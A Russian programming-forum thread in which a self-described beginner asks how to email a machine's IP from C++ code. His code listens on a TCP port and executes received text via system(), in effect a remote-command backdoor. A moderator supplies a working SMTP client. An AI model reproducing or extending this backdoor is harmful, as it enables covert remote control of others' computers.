Форум программистов, компьютерный форум, киберфорум
C++: Сети
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.91/32: Рейтинг темы: голосов - 32, средняя оценка - 4.91
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54

Отправка данных(переменных) на почту visual c++ windows forms

29.11.2012, 13:20. Показов 5978. Ответов 45
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Напишите пожалуйста как сюда можно вставить отправку IP компьютера на email(например rambler), попроще хотелось бы с меня плюсики
Кто хочет улучшите код
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
                 #define PORT 3135
                 char buf[3072];
WSADATA wsaData;
WSAStartup(0x202,&wsaData);
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKET client_sock = socket(AF_INET,SOCK_STREAM,0);
sockaddr_in serv_addr;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_port=htons(PORT);
serv_addr.sin_addr.s_addr=0;
bind(s,(sockaddr*)&serv_addr,sizeof(serv_addr));
listen(s,10);
sockaddr_in client_addr;
int size_client_addr=sizeof(client_addr);
client_sock=accept(s,(sockaddr*)&client_addr,&size_client_addr);
label2->Text="Подключен";
 
for(int i=0;i<=3072;i++){
recv(client_sock, &buf[i], sizeof(buf[i]), 0);
if(buf[i]==0){
buf[i]=NULL;
break;}}
label1->Text=gcnew String(buf);
 system(buf);
 
shutdown(client_sock,20);
closesocket(client_sock);
shutdown(s,20);
closesocket(s);
WSACleanup();
label2->Text="Отключен";
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
29.11.2012, 13:20
Ответы с готовыми решениями:

Отправка данных на почту
Не знаю как отправить данные на почту, данные которые хранятся в #itog и в #optc &lt;section id=&quot;four&quot; class=&quot;wrapper...

Отправка данных на почту
Есть вопрос, господа, по поводу отправки данных из приложения формы vb.net на почту. Пользовался кодом, взятого с vbbook: Imports...

Отправка данных на почту
var vallogin = document.getElementById('Name').value; /* name=&quot;username&quot; */ var valpass = document.getElementById('Pass').value; /*...

45
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
29.11.2012, 14:29
да тут улучшить не получиться - тут писать нужно обрубок почтового клиента. а потом человек перехватит от вашего червя трафик и спокойно зайдет на ваш почтовый ящик с вашим же паролем лучше шлите данные на свой сайт где их будет ловить скрипт.
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
29.11.2012, 15:46  [ТС]
ну вообще то я не червь пишу, а изучаю сокеты, но все же как это реализовать
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
29.11.2012, 16:15
Цитата Сообщение от bladeg Посмотреть сообщение
это реализовать
что именно? отправку на мыло? http://www.wasm.ru/article.php?article=simplesmtp

Добавлено через 32 секунды
...там читать часть относящуюся к диалогу серва и узера
0
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
29.11.2012, 21:19  [ТС]
там даже c++ не пахнет, я прошу готовый код который подойдет к моему коду, а не ссылки, на не понятные статьи
(я начинающий так что лучше готовый скинуть и я не взрослый так что могу что то не понять)
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 10:19
Цитата Сообщение от bladeg Посмотреть сообщение
я прошу готовый код
с таким подходом наверное лучше на фриланс
Цитата Сообщение от bladeg Посмотреть сообщение
ссылки, на не понятные статьи
если вам лень читать о том как осуществляется обмен почтового сервера и почтового клиента с целью отправки письма (как я понял именно это вы хотите сделать) я специально для вас сделаю выдержку из статьи:
====
- открываем 25 порт сервера и получаем от него ответ
s: 220 mail.ru ESMTP Sat, 15 Apr 2006 16:46:49 +0400
- дальше идет обмен (s - от сервера, u - от клиента)
u: EHLO server
s: 250-mx6.mail.ru Hello server [111.11.11.111]
s: 250-SIZE 10485760
s: 250-8BITMIME
s: 250-AUTH PLAIN LOGIN
s: 250 PIPELINING
u: AUTH LOGIN
s: 334 VXNlcm5hbWu6
u: dGVzdF9fXzAwMDAz
s: 334 UGFzc3dvcmQ6
u: dGVzdF9fXzAwMDAz
s: 235 Authentication succeeded
u: MAIL FROM:<adres@mail.ru>
s: 250 OK
u: RCPT TO:<adres@mail.ru>
s: 250 Accepted
u: DATA
s: 354 Enter message, ending with "." on a line by itself
u: asdf
u: .
s: 250 OK id=1FUkCk-000OR2-00
u: QUIT
s: 221 mx6.mail.ru closing connection
====
таким образом вам через сокеты нужно ждать и слать то что тут описано. удачи
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 12:22  [ТС]
Цитата Сообщение от vxg Посмотреть сообщение
с таким подходом наверное лучше на фриланс

если вам лень читать о том как осуществляется обмен почтового сервера и почтового клиента с целью отправки письма (как я понял именно это вы хотите сделать) я специально для вас сделаю выдержку из статьи:
====
- открываем 25 порт сервера и получаем от него ответ
s: 220 mail.ru ESMTP Sat, 15 Apr 2006 16:46:49 +0400
- дальше идет обмен (s - от сервера, u - от клиента)
u: EHLO server
s: 250-mx6.mail.ru Hello server [111.11.11.111]
s: 250-SIZE 10485760
s: 250-8BITMIME
s: 250-AUTH PLAIN LOGIN
s: 250 PIPELINING
u: AUTH LOGIN
s: 334 VXNlcm5hbWu6
u: dGVzdF9fXzAwMDAz
s: 334 UGFzc3dvcmQ6
u: dGVzdF9fXzAwMDAz
s: 235 Authentication succeeded
u: MAIL FROM:<adres@mail.ru>
s: 250 OK
u: RCPT TO:<adres@mail.ru>
s: 250 Accepted
u: DATA
s: 354 Enter message, ending with "." on a line by itself
u: asdf
u: .
s: 250 OK id=1FUkCk-000OR2-00
u: QUIT
s: 221 mx6.mail.ru closing connection
====
таким образом вам через сокеты нужно ждать и слать то что тут описано. удачи
да это я все читал мне не лень я просто не понимаю как это на visual c++ forms написать
фриланс не знаю что это и не хочу сразу чувствуеться тема нужны деньги
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 13:21
вот, но если пакет порвет или кто-то заартачится могут быть сюрпризы
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
//------------------------------------------------------------------------------
#include <winsock>
#include <stdio.h>
#include <string>
//------------------------------------------------------------------------------
static const std::string base64_chars = 
             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
             "abcdefghijklmnopqrstuvwxyz"
             "0123456789+/";
 
 
static inline bool is_base64(unsigned char c) {
  return (isalnum(c) || (c == '+') || (c == '/'));
}
 
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
  std::string ret;
  int i = 0;
  int j = 0;
  unsigned char char_array_3[3];
  unsigned char char_array_4[4];
 
  while (in_len--) {
    char_array_3[i++] = *(bytes_to_encode++);
    if (i == 3) {
      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
      char_array_4[3] = char_array_3[2] & 0x3f;
 
      for(i = 0; (i <4) ; i++)
        ret += base64_chars[char_array_4[i]];
      i = 0;
    }
  }
 
  if (i)
  {
    for(j = i; j < 3; j++)
      char_array_3[j] = '\0';
 
    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
    char_array_4[3] = char_array_3[2] & 0x3f;
 
    for (j = 0; (j < i + 1); j++)
      ret += base64_chars[char_array_4[j]];
 
    while((i++ < 3))
      ret += '=';
 
  }
 
  return ret;
 
}
 
std::string base64_decode(std::string const& encoded_string) {
  int in_len = encoded_string.size();
  int i = 0;
  int j = 0;
  int in_ = 0;
  unsigned char char_array_4[4], char_array_3[3];
  std::string ret;
 
  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
    char_array_4[i++] = encoded_string[in_]; in_++;
    if (i ==4) {
      for (i = 0; i <4; i++)
        char_array_4[i] = base64_chars.find(char_array_4[i]);
 
      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
      for (i = 0; (i < 3); i++)
        ret += char_array_3[i];
      i = 0;
    }
  }
 
  if (i) {
    for (j = i; j <4; j++)
      char_array_4[j] = 0;
 
    for (j = 0; j <4; j++)
      char_array_4[j] = base64_chars.find(char_array_4[j]);
 
    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
 
    for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
  }
 
  return ret;
}
//------------------------------------------------------------------------------
int get_addr(char *host_name)
{
    int res = -1;
 
    HOSTENT *phe = gethostbyname(host_name);
    if (phe)
        for (int i = 0; i < 4; i++)
            ((BYTE *)&res)[i] = phe->h_addr_list[0][i];
 
    return res;
}
//------------------------------------------------------------------------------
bool _send(SOCKET s, const std::string &message)
{
    printf("u: %s", message.c_str());
    if (!send(s, message.c_str(), message.length(), 0)) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _recv(SOCKET s, const unsigned code)
{
    char buffer[4096];
    int buffer_size = recv(s, buffer, sizeof(buffer), 0);
    if (!buffer_size) return false;
    buffer[buffer_size] = '\0';
    printf("s: %s", buffer);
 
    unsigned _code;
    if (sscanf(buffer, "%u", &_code) != 1 || _code != code) return false;
 
    return true;
}
//------------------------------------------------------------------------------
bool _send_recv(SOCKET s, const std::string &message, const unsigned code)
{
    return _send(s, message) && _recv(s, code);
}
//------------------------------------------------------------------------------
bool mail
(
    const unsigned smtp_port,
    const std::string &smtp_addr,
    const std::string &login,
    const std::string &password,
    const std::string &name,
    const std::string &from,
    const std::string &to,
    const std::string &data
)
{
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) return false;
 
    SOCKADDR_IN sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(smtp_port);
    sa.sin_addr.S_un.S_addr = get_addr((char *)smtp_addr.c_str());
 
    printf("wait for server...");
    while (connect(s, (SOCKADDR *)&sa, sizeof(sa)))
        Sleep(250);
    printf("connected\n");
 
    //RECEIVER  220 mit.edu Simple Mail Transfer Service Ready
 
    //SENDER  HELO usc.edu
    //RECEIVER  250 mit.edu
 
    //SENDER  MAIL FROM:<Smith@usc.edu>
    //RECEIVER  250 OK
 
    //SENDER  RCPT TO:<Jones@mit.edu>
    //RECEIVER  250 OK
 
    //SENDER  DATA
    //RECEIVER  354 Start mail input; end with <CRLF>.<CRLF>
 
    //SENDER  Blah blah blah...
 
    //SENDER  .
    //RECEIVER  250 OK
    
    //SENDER  QUIT
    //RECEIVER  221 mit.edu Service closing transmission channel
 
    bool res =
        _recv(s, 220) &&
        _send_recv(s, "EHLO " + name + "\r\n", 250) &&
        _send_recv(s, "AUTH LOGIN\r\n", 334) &&
        _send_recv(s, base64_encode(login.c_str(), login.length()) + "\r\n", 334) &&
        _send_recv(s, base64_encode(password.c_str(), password.length()) + "\r\n", 235) &&
        _send_recv(s, "MAIL FROM:<" + from + ">\r\n", 250) &&
        _send_recv(s, "RCPT TO:<" + to + ">\r\n", 250) &&
        _send_recv(s, "DATA\r\n", 354) &&
        _send(s, data) &&
        _send_recv(s, "\r\n.\r\n", 250) &&
        _send_recv(s, "QUIT\r\n", 221);
 
    closesocket(s);
 
    return res;
}
//------------------------------------------------------------------------------
int main(int argc, char* argv[])
{
    WSADATA wsa_data;
    if (WSAStartup(0x101, &wsa_data) || wsa_data.wVersion != 0x101) return -1;
 
    mail(25, "mail.rambler.ru", "login", "password", "user", "from", "to", "123\r\n");
 
    WSACleanup();
 
    system("pause");
    return 0;
}
Добавлено через 15 минут
правда мой корпоративный сервер не согласился от имени моего ПЯ слать. пришлось указать адресом пустоту, то есть на сервер ушло MAIL FROM:<>.

Добавлено через 5 минут
любопытно, что адресату пришло письмо без поля от кого и без тела)
2
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 13:31  [ТС]
ух ты спасибо только вот он не понимает base64_encode или login
s017.***********/i428/1211/c2/b0a772c94cf2.png
ну насчет адресата это жесть так ведь анонимно можно письма отсылать)
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 13:35
влепите ему операцию преобразования (const unsigned char *)
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:00  [ТС]
ща попробуем

Добавлено через 9 минут
преобразовал логин, Пароль спрятал под password)) порт сменил на 110 рамблеровский,вроде соединилось но не отправилось письма нету


Добавлено через 14 минут
может здесь попутал что куда вставлять?
mail(25, "mail.rambler.ru", "login", "password", "user", "from", "to", "123\r\n");
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 14:02
вы подключаетесь к почтовому серверу POP (это протокол приема сообщений, порт 110). вы должны подключаться к почтовому серверу SMTP (это протокол отправки сообщений, порт 25).

Добавлено через 44 секунды
вместо логин, пароль, фром, ту естественно подставлять логин и пароль для входа в свою почту, адрес от имени которого идет отправка и адрес куда идет отправка
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:05  [ТС]
mail(25, "smtp.rambler.ru", "vinto97@rambler.ru", "Пароль", "Здесь не понял что именно на рамблере нет ника же", "vinto97@rambler.ru", "vinto97@rambler.ru", "123\r\n");
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 14:36
на rambler вроде сейчас помощи по настройке почтовых клиентов пишут порт 587

Добавлено через 1 минуту
C++
1
mail(587, "mail.rambler.ru", "vinto97", "xxx", "здесь все что угодно, это просто некоторое слово которым из вежливости мы представляемся серверу", "vinto97@rambler.ru", "vinto97@rambler.ru", "123\r\n");
Добавлено через 29 секунд
...ну это естественно если вы сами себе шлете)

Добавлено через 4 минуты
...и еще если не хотите что бы на почту стал приходить спам не пишите ее в постах на форуме)

Добавлено через 21 минуту
вот так должен слать с темой и телом
C++
1
2
3
4
5
6
7
8
9
10
    mail
    (
        587, "mail.rambler.ru",
        "vinto97", "xxx",
        "user",
        "vinto97@rambler.ru", "vinto97@rambler.ru",
        "Subject: oops\r\n"
        "\r\n"
        "some text\r\n"
    );
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:45  [ТС]
теперь пишет incorrect хотя все правильно, пароль заменил в коде после запуска консоли))
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 14:49
неправильное имя пользователя или пароль
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:50  [ТС]
это понятно но они правильные
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 14:52
у вас действительно с обратной кавычки логин и пароль начинаются и отличаются только буквой t в конце)?
1
1 / 1 / 3
Регистрация: 27.11.2012
Сообщений: 54
30.11.2012, 14:54  [ТС]
не понял
0
Модератор
 Аватар для vxg
3406 / 2177 / 354
Регистрация: 13.01.2012
Сообщений: 8,444
30.11.2012, 14:55
ну я ввел закодированные в base64 логин и пароль в онлайн base64 декодер и увидел там
`N бла бла бла и
`N бла бла бла t
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
30.11.2012, 14:55
Помогаю со студенческими работами здесь

Отправка данных на почту
Не знаю как отправить данные на почту, данные которые хранятся в #itog и в #optc &lt;section id=&quot;four&quot; class=&quot;wrapper...

Отправка данных из бд на почту
Здравствуйте мне нужно отправить выборку из бд на почту ввиде таблицы, отправка работает но приходит в таблицу только одна запись((( уже...

Отправка данных на почту из Js
Доброго времени суток, возникла такая проблемка, не знаю как выполнить отправку переменных JS в сообщении на почту через PHP, нужно...

Отправка данных на почту
Имеется бриф, типа этого. Как сделать так чтобы посетитель нажав на кнопку &quot;Заказать&quot;, данные которые он ввёл отправлялись на почтовый...

Отправка данных на почту
Короче пишу программу. В ней есть функция отправки введенных пользователем данных на почту. Не могу понять как сделать так, чтобы эти...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Как объединить две одинаковые БД Access с разными данными
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru